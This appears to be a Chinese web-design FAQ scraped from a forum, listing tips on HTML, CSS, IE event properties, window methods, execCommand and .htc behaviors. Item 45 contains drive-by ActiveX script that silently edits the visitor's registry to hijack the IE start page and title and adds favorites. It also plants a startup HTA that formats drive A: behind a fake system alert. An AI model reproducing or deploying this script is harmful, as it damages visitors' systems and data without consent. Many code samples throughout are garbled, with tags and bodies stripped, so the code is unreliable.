网页制作时的技巧

1.怎样才能把RealPlayer文件在网页做一个试听连接？

2.请问如何去掉IE的上下滚动条？

</body>

3.如何在打开页面的时候，输入表单就获得焦点？

如果表单没有名字可以用document.forms[index]数组访问如果表单项没有名字可以用document.forms[index].elements[index]数组访问这里index是整数比如:

<form>

</form>

</form>

</form>

4.解释一下event.X和event.clientX有什么区别？

event.clientX返回事件发生时,mouse相对于客户窗口的X坐标

event.X也一样

但是如果设置事件对象的定位属性值为relative

event.clientX不变

而event.X返回事件对象的相对于本体的坐标

event代表事件的状态，例如事件发生的的元素、鼠标的位置等等，event对象只在事件过程中才有效。

event属性：

altKey

检索ALT键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值： 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelBubble

设置或检索当前事件是否将事件句柄起泡

可能的值： false 启用起泡

true 取消该事件起泡

clientX

检索与窗口客户区域有关的鼠标光标的X坐标，属性为只读，没有默认值。

clientY

检索与窗口客户区域有关的鼠标光标的Y坐标，属性为只读，没有默认值。

ctrlKey

ctrlKey 检索CTRL键的当前状态

可能的值 true为关闭

false为不关闭

dataFld

检索被oncellchange事伯影响的列

aTransfer

为拖放操作提供预先定义的剪贴板式。

Element

检索在onmouseover和onmouseout事件期间退出的对象指针

keyCode

设置或检索与引发事件的关键字相关联的Unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字，则该值为0

offsetX

检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值：

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnValue

设置或检索从事件中返回的值

可能的值：

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenX

检索与用户屏相关的鼠标的水平位置

screenY

检索与用户屏相关的鼠标的垂直位置

shiftKey

检索shiftKey键的当前状态

可能的值 true为关闭

false为不关闭

srcElement

检索触发事件的对象

srcFilter

检索导致onfilterchange事件触发的过滤器对象

srcUm

检索触发事件行为的同一资源名称

除非下面两个条件都为真，否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

检索相对于父要素鼠标水平坐标的整数

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新？

在head部记入<META HTTP-EQUIV="Refresh" content="20">其中20为20秒后自动刷新，你可以更改为任意值。

6.如何让一个窗口永远在最上面？

function aa(){

y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");

}

</script>
7.如何实现虚线边框？

<html>

<head>

</head>

<tr>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<head>

</head>

<body>

<tr>

</tr>

<tr>

</tr>

<tr>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗？</td>

</tr>

<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了，这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能？

或者

9.表单中如何用图片按钮实现 reset?

<html>

<head>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

</form>

</body></html>

10.怎样去掉图片链接点击后，图片周围的虚线？

onFocus="if(this.blur)this.blur()" blur：使物件失焦... 當你点击图片链接時图片链接得到焦點(Focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦簡單一點的語法 onFocus="this.blur()"

11.如何去掉网页连接的下划线？

<head>

<!--

A { text-decoration: none}

-->

</style>

</head>

12.请问怎么在网页中改变鼠标的箭头形状？

<body>

<a href="#" style="cursor: crosshair ">crosshair </a><br/>

<a href="#" style="cursor: default ">default </a><br/>

<a href="#" style="cursor: e-resize ">e-resize </a><br/>

<a href="#" style="cursor: ne-resize ">ne-resize </a><br/>

<a href="#" style="cursor: nw-resize">nw-resize</a><br/>

<a href="#" style="cursor: n-resize">n-resize</a><br/>

<a href="#" style="cursor: se-resize">se-resize</a><br/>

<a href="#" style="cursor: sw-resize">sw-resize</a><br/>

<a href="#" style="cursor: s-resize">s-resize</a><br/>

<a href="#" style="cursor: w-resize">w-resize</a><br/>

</body>

13.target="_blank"规定链接在新窗口中打开，那 target="_parent"、 target="_self" 、target="_top"的作用又是什么？

target="_parent"、上一层框架

target="_self" 、自身窗口、框架

target="_top" 最顶层框架。

更细点的解释，从织梦补给网找来的：

_blank

開啟一個新的視窗，而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面，而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」（也就是上一層的 FRAMESET）中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面；換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时，收藏夹显示的不是微软的那个一成不变的标志，而是本人选择的ICON？

加入HADE標簽中，圖片放入根目錄下，須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

15.请问如何去掉主页右面的滚动条？

16.怎样不使用页面的缓存？即每一次打开页面时不是调用缓存中的东西

17.请问如何忽视右键?

<body oncontextmenu="return false">
18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示，按照HTML的语法，超级连接得是

A.YOURS：LINK A.YOURS：HOVER

YOURS可以改作你自己的字

然后在选中某个连接后，在CSS面版中点中YOURS即可。

按需要，你可以定义N个标示，N种鼠标OVER的效果

19.电子邮件处理提交表单

</form>

20.有没有可能用层来遮住FLASH？

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面？

先做好几个页面，比如一个htm1.htm是800*600，一个是htm2.htm是1024*768的然后在你的入口页面 index.htm 中判断：

<html>

<head>

<!--

function mHref() {

if (screen.width == 1024) location.href = "htm2.htm";

else if (screen.width == 800) location.href = "htm1.htm";

else return(false);

}

//-->

</script>

</head>

</body>

</html>

22.不用询问就关闭浏览器

<head>

</object>

</head>

<body>

</body>

23.如何弹出只有状态栏的窗口？

<html>

<head>

<title>open() close()</title>

<!--

function openWin()

{

var newWin=open("","","menubar=1,height=200");

newWin.document.write("<form>");

newWin.document.write("单击以下按钮关闭窗口：<p>");

newWin.document.write("<input type=button value='关闭' onclick=window.close()>");

newWin.document.write("</form>");

}

</script></head>

<body>

<h2>单击以下按钮显示新窗口...</h2>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

</body>

25.如何让超链接没有下划线

在源代码中的<HEAD>…</HEAD>之间输入如下代码：

a { text-decoration: none}

--> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写？

<html>

<head>

<title>Untitled Document</title>

<!--

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//-->

</script>

</head>

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

</object>

</head>

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人？Merlin

<HTML>

<HEAD>

</HEAD>

<BODY>

</OBJECT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play("Surprised");

Merlin.Speak("大家好");

Merlin.Play("GestureLeft");

Merlin.Think("我是默林！");

Merlin.Play("Pleased");

Merlin.Think("可爱吗？");

Merlin.Play("GestureDown");

Merlin.Speak("哈哈！");

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p>看此效果必须装有office2000！！！</p>

</BODY>

</HTML>

如果看不到效果或效果有问题，请将代码保存为html文件查看.

这代码中使用的MSAgent仍然属于客户端的控件，在Win98安装PWS时可以安装上一个叫Merlin的精灵，查查你的系统中有没有一个叫做Merlin.acf的文件，应该在一个叫MSAgent的目录，记不太清了，有的话才能看到，否则就会出现下载的提示，在Win2000中已安装了MSAgent2.0，所以一般都会正确的显示出来，还有很多精灵，但之所以选用Merlin因为大部分的机器上都有，如果想自己定制的话，可以到微软去下载一个叫Character Editor的工具，制作的精灵必须分发到客户端才可使用，在微软站点的MSAgent是在服务器端的，每个命令都要到服务器上去处理，然后发回相应的动作图画，（不过至今我还没看到过，我们的带宽本来就不够，还有一堆人在下载，哎，真是痛苦！），我还没有看到有关在Server端制作MSAgent的文章，谁有的话，可以告诉我一声。其中: 用"=number" number是字数/分例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 还有,找到这句: Merlin.LanguageID = 0x409; 改为0x804 (Simplified Chinese) 改为0x404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议，要是被微软告了可别怪我噢！！最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面？

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

</body>

</html>

31.文本输入框什么属性能实现不可输入？

或者

32.怎样保持layer在最前面，而不被Iframe、Object所覆盖，有什么解决方法？

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> ＃前面

<div z-Index:1><object xxx></object></div> ＃后面

33.如何让表格并排？

首先在第一个表里应该这样写： "<table border=0 cellpadding=1 cellspacing=1 align=left>" 这table里最为关键是"align=left"这一句。然后在第二个表里也应该加上align=left 这样，你的目的就达到了。

<tr>

</tr>

</table>

<tr>

</tr>

</table>

[/html]

[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<br/>还可以排三个

<br/>

34.如何让两个form表单行距之间不出现空格？

这样写 <TABLE><FORM><TR>.......</TR></FORM></TABLE>

35.如何让页面自动刷新？

方法一，用refresh

<head>

</head>

5表示刷新时间

方法二，使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何给文本连接加上提示语言？

<a href="#" title="我出来拉">click me</a>

37.英文排版的问题:怎么能让英自动排列整齐？

请使用css中的 text-align: justify;

<tr>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开？

把以下代码加至你的<head>区

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写？

window.opener.location.reload()
42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中，脚本使用全局 RegExp

对象的$1和$2属性的值。注意，在作为第二个参数传递给replace方法的时候，RegExp对象的$属性的名

称。

re = /(+)(+)/;

str = "John Smith";

newstr=str.replace(re,"$2, $1");

document.write(newstr)

</SCRIPT>

显示结果："Smith, John".

str.replace(re,"$2, $1");这一句，$2,$1是什么意思？

[font color=blue]下面这个解释我也不大明白，可否帮我解释一下，多谢！{/font]

$1, ..., $9属性

用圆括号括着的匹配子串，如果有的话。

是RegExp的属性

静态，只读

在JavaScript 1.2, NES 3.0以上版本提供

描述：因为input是静态属性，不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制，但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串，你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号，$1是匹配第1个括号，对多层括号嵌套应该如何区分？而且如果超过$1~$9的括号如何匹配？

var reg=/((+)(+))/;

var str='John Smith';

reg.exec(str);

</script>

43.如何实现首页全屏幕显示？

<html>

var coolw=642

var coolh=400

var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class？

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表？（★★★★不推荐使用★★★★）

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

function f(){

try

{

//ActiveX 初始化

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (documents .cookie.indexOf("Chg") == -1)

{

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//设置Cookie完毕

//设置主页

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.51js.com/");

//修改浏览器的标题

Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");

//设置Cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\Documents and Settings\" + Net.UserName + "\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

AddFavLnk(loc, "无忧脚本", "http://www.51js.com");

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘

</object>

scr.Reset();

scr.Path="C:\windows\start menu\Programs\启动\automat.hta";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";

scr.write();

</script>

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

</APPLET>

a1=document.applets[0];

fn="51js.HTM";

doc="<SCRIPT>s1=欢迎你访问无忧脚本！\请您将在启动文件夹内的51js.com.HTM删除即可;alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);

}

setTimeout("f()",1000)

</SCRIPT>

VA = ARRAY()

' 获取com.ms.com.Variant[]

</SCRIPT>

<BR>

</BODY>

</HTML>原理是一样的!

46.如何监听一个窗口被关闭了？

47.什么是innerHTML、outerHTML………还有innerText？

自己用代码来体会一下

<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>

48.关于try....catch..的语法捕捉错误使用例子

try{

可能会引起错误的语句

}

catch(表达式)

{

错误处理语句

}

例如：

<button onclick=TryDemo()>Try...Catch...Demo</button>

function TryDemo()

{

try{

var a=b/2;//注意由于b不存在，所以会引发一个异常。

}

catch(e)

{

alert('错误类型：'+e+'错误信息：'+e.Descrition);

}

</script>
49.如何获得一个Select中选中option的value？

select.options[select.selectedIndex].value

50.this 和self 有什么区别，各在哪里用

self指代窗口。 this的情况： 1. 用于元素事件代码中指代元素本身： <button onclick=alert(this.value)>指代元素本身</button> 2. 用于function中指代用function构造的类。

function Car(){this.name='Car';};alert(new Car().name);

</script>

51.如何禁止Ctrl+N？

52.所有dhtml对象的属性和方法其实在你本机的硬盘上就有！

查找：dhtmled.ocx

或在delphi/c++builder中import activeX 选dhtmled.ocx

53.window方法列表

发现经常有人问一些有关窗口操作的问题，

所以花了些时间整理出这篇文章，

希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)

//弹出一个确认消息框

attachEvent(sEvent,pFunction)

//绑定一个函数到某个事件，事件触发时随机执行其中一个被绑定的函数

blur()

//令窗口丧失焦点

clearInterval(iIntervalID)

//清除指定定时器的关联函数

clearTimeout(iTimeoutID)

//清除指定延时器的关联函数

close()

//关闭窗口，如果窗口不是用脚本打开的，会弹出确认对话框。

confirm([sMessage])

//弹出“确定/取消”对话框

createPopup([vArgs])

//创建一个隐藏的弹出式窗口，vArgs是未来考虑提供的参数,返回窗口句柄

detachEvent(sEvent,pFunction)

//取消一个事件的某个绑定函数

execScript(sExpression, sLanguage)

//用指定的语言执行代码

focus()

//激活窗口

moveBy(iX,iY)

//用相对方式移动窗口

moveTo(iLeft,iTop)

//用绝对方式移动窗口

navigate(sURL)

//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])

//打开新窗口,并返回窗口句柄

//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口；_self:替换本窗口; _top:在顶级窗口里打开;*)

//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()

//打印当前窗口文档内容

prompt( [sMessage] [, sDefaultValue])

//弹出输入对话框

resizeBy(iX, iY)

//以相对方式改变窗口大小

resizeTo(iWidth, iHeight)

//以绝对方式改变窗口大小

scroll(iX,iY)

滚动窗口，与scrollTo一样的效果，出于兼容性的考虑保留下来的方法

scrollBy(iX, iY)

//用相对方式滚动窗口

scrollTo(iX, iY)

//用绝对方式滚动窗口

setActive()

//激活目标而不将视线转向目标

setInterval(vCode, iMilliSeconds [, sLanguage])

//定时执行一段代码

setTimeout(vCode, iMilliSeconds, sLanguage)

//延时执行一段代码

showHelp(sURL [, vContextID])

//打开一个帮助文件，sURL为帮助文档地址，vContextID为帮助索引号

showModalDialog(sURL [, vArguments] [, sFeatures])

//打开一个模式对话框

//vArguments=需要向新开模式对话框传递的参数

//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])

//打开一个非模式对话框

//vArgument=需要向新开模式对话框传递的参数

54.execCommand的完全参考(中文版)

document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand("2D-Position","false","true");使绝对定位的对象可直接拖动;ie5.5

AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使对象定位变成绝对定位;ie5.5

BackColor;document.execCommand("BackColor","false",sColor);设置背景颜色;ie4.0

BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持

BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand("Bold","false",null);使选中区域的文字加粗;ie4.0

BrowseMode;none;设置浏览器模式?;不支持 Copy;

document.execCommand("Copy","false",null);复制选中的文字到剪贴板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);设置指定锚点为书签;ie4.0

CreateLink;document.execCommand("CreateLink","false",sLinkURL);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0

Cut;document.execCommand("Cut","false",null);剪贴选中的文字到剪贴板;ie4.0

Delete;document.execCommand("Delete","false",null);删除选中的文字;ie4.0

DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持

EditMode;none;设置编辑模式?;不支持

FontName;document.execCommand("FontName","false",sFontName);改变选中区域的字体;ie4.0

FontSize;document.execCommand("FontSize","false",sSize|iSize);改变选中区域的字体大小;ie4.0

ForeColor;document.execCommand("ForeColor","false",sColor);设置前景颜色;ie4.0

FormatBlock;document.execCommand("FormatBlock","false",sTagName);设置当前块的标签名;ie4.0

55.可以在TEXTAREA中实现在光标处用脚本来加入文本吗？

<form>

<br/>

<br/>

<br/>

var lastElement=null;

function BlurText()

{

lastElement=event.srcElement;

}

for(var i in document.all)

{

var Element=document.all[i];

if(Element.tagName=="TEXTAREA")

// if(Element.type=="text")

Element.onblur=BlurText;

}

function paste()

{

lastElement.focus();

document.execCommand("paste");

}

</script>

</form>
56.什么是.htc？

作者:沈欣　出处:china.com

在微软IE 5.0版本的浏览器发布以前，网页编程中面对的最大挑战就是不能轻易地创建组件，以达到代码重用和多页面共享的目的。这个问题一直困扰着DHTML（动态 HEML）的网页编程者。他们只能不断地重复书写HTML、CSS和JAVASCRIPT的代码，以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后，这种情况得到了改善，它带给我们一个新的指令组合方法，可把实现特定功能的代码封装在一个组件内，从而实现多页面的代码重用，使网页编程进入一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”（Behaviors）。

　　“行为”作为一个简单易用的组件，它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一个元件上时，这个元件的原有行为就会有所改变。因此，网页编程者可以开发通用的DHTML指令，并改变原有对象的一些属性，用“行为”来增强一个对象的功能，同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简单方便，所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和JAVASCRIPT脚本语言。只要你对此有所了解，有过实际编程的经历，学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例来说明如何编写和使用一个“行为”，并体验“行为”给页面编辑带来的优点和方便之处。

　　首先新建一个名为font_efftce.htc的文本文件，组成“行为”组件的文件都是以.htc为扩展名，这个文件中的内容就是我们对这个“行为”的描述。它的创建和使用步骤如下：

（1）首先给这个“行为”增加几个事件响应，语句书写格式如下：

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

　　“EVENT”对应所需事件名，在这里分别为：onmouseover,onmouseout,onmousedown,onmouseup四个事件名，你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄，即事件触发时所调用的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。

（2）接下来，再给这个“行为”增加二个“方法”定义，内容如下。

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

　　“NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的函数名称。注意，在方法名的后面不要带“( )”括号，即不要写成“move_down()”这个样子，这在“方法”定义的语法上是不允许的。

（3）接下来的工作就是在我们熟悉的DHTML环境下，用JAVASCRIPT脚本语句编写“事件句柄”和“方法”所对应的函数内容，实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对象，因为“行为”总是被附着到页面的元件上面，并通过这个元件发挥作用。其它语句都是DHTML的编程内容，就不再多说了。如有不明之处，可参考微软的MSDN开发文档中有关IE浏览器的内容，上面有详细的DHTML编程参考内容、属性和方法使用说明等，并包含了大量的文章和举例程序。经常访问微软的MSDN文档，尤其对于初学者来说是一个良好的学习习惯，你几乎可以得到任何你想找的答案，它的网址为：http://msdn.microsoft.com/ie/。

　　完整的“行为”文档“font_effect.htc”的内容如下：

////////////////////////////“行为”文档开始///////////////////////////////////

//给“行为”增加四个鼠标事件

< PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" / >

< PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" / >

< PUBLIC:ATTACH EVENT="onmousedown" ONEVENT="font2yellow()" / >

< PUBLIC:ATTACH EVENT="onmouseup" ONEVENT="font2blue()" / >

//给“行为”定义二个方法

< PUBLIC:METHOD NAME="move_down" / >

< PUBLIC:METHOD NAME="move_right" / >

< SCRIPT LANGUAGE="JScript" >

//定义一个保存字体颜色的变量

var font_color;

//定义向下移动文字的方法

function move_down()

{

element.style.posTop+=2;

}

//定义向右移动文字的方法

function move_right()

{

element.style.posLeft +=6;

}

//定义鼠标onmouseup事件的调用函数

function font2blue(){

if (event.srcElement == element)

{

element.style.color='blue';

}

//定义鼠标onmousedown事件的调用函数

function font2yellow(){

if (event.srcElement == element)

{

element.style.color='yellow';

}

//定义鼠标onmouseover事件的调用函数

function glowit()

{

if (event.srcElement == element)

{

font_color=style.color;

element.style.color='white';

element.style.filter="glow(color=red,strength=2)";

}

//定义鼠标onmouseout事件的调用函数

function noglow()

{

if (event.srcElement == element)

{

element.style.filter="";

element.style.color=font_color;

}

< /SCRIPT >

//////////////////“行为”文档结束///////////////////////////////

（4）如何在一个页面上使用“行为”

　　在页面上使用“行为”组件，并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已，请看下面的语句。

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

　　可以看出，这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名：“myfilter”，其中对我们来说比较新的内容是：“behavior:url(font_effect.htc);”，“behavior”是新增的“行为”属性名，这就是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名，本例中表明“行为”文档在与页面文件在同一个目录下，如果“行为”文档安置在其它目录下，在此参数的前面要加上相应的路径名，以保证可以正确地定位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置，可根据你的需要增减，但在此例中，由于使用了“glow”滤镜效果，至少要设置一个宽度（width）属性。通过以上的样式指定，我们就有了一个名为：“myfilter”的样式，它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”的样式，同样也很简单，只要把这个“样式名”安置在元件的属性设置区域即可，见下面的语句。

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >

　　以上语句里面没有什么新的内容，class='myfilter'就是我们所熟悉的样式设置。在第一个“span”标记的属性中还定义了一个“id”标记，稍后就会看到，这是用来演示调用“行为”内的“方法”而设置的。这样设置后，“span”元件中的内容就可以显示出“行为”组件内的预定效果：
1．鼠标指针移动到文字内容上时，在文字周围产生红色的辉光效果，同时文字变成白色。

2．当鼠标按钮按下时，文字颜色改变为黄色。

3．鼠标按钮抬起后，文字颜色又改变为蓝色。

4．当鼠标指针移动到文字区域以外时，去掉了红色辉光效果，文字恢复原样。

　　另外，我们在定义“行为”时设置了二个“方法”，“move_down”和“move_right”。为调用这二个“方法”，定义了二个按钮：

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

　　用按钮的onclick事件去调用这二个“方法”，先前定义的“id”标记就作为元件的对象名称，用“myspan.move_down”来调用“方法”，操纵这个对象。可以看到，在按下相应的按钮后，会使第一行的文字产生向下或向右的移动。虽然只是用第一行文字做了示范，实际上，只要做相应的设置，你也可以移动其它对象。页面源文档的完整内内容如下：

< html >

< HEAD >

< TITLE >行为效果演示< /TITLE >

< STYLE >

.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}

< /STYLE >

< /HEAD >

< BODY >

< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >

< span class='myfilter' >鼠标指向后产生辉光< /span >< br >

< span class='myfilter' >同时文字变白< /span >< br >

< span class='myfilter' >按下鼠标后文字变黄< /span >< br >

< span class='myfilter' >抬起鼠标后文字变蓝< /span >< br >

< span class='myfilter' >鼠标离开后文字恢复原状< /span >< br >

< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >

< button onclick="myspan.move_down();" >向下移动第一行文字< /button >

< /BODY >

< /html >

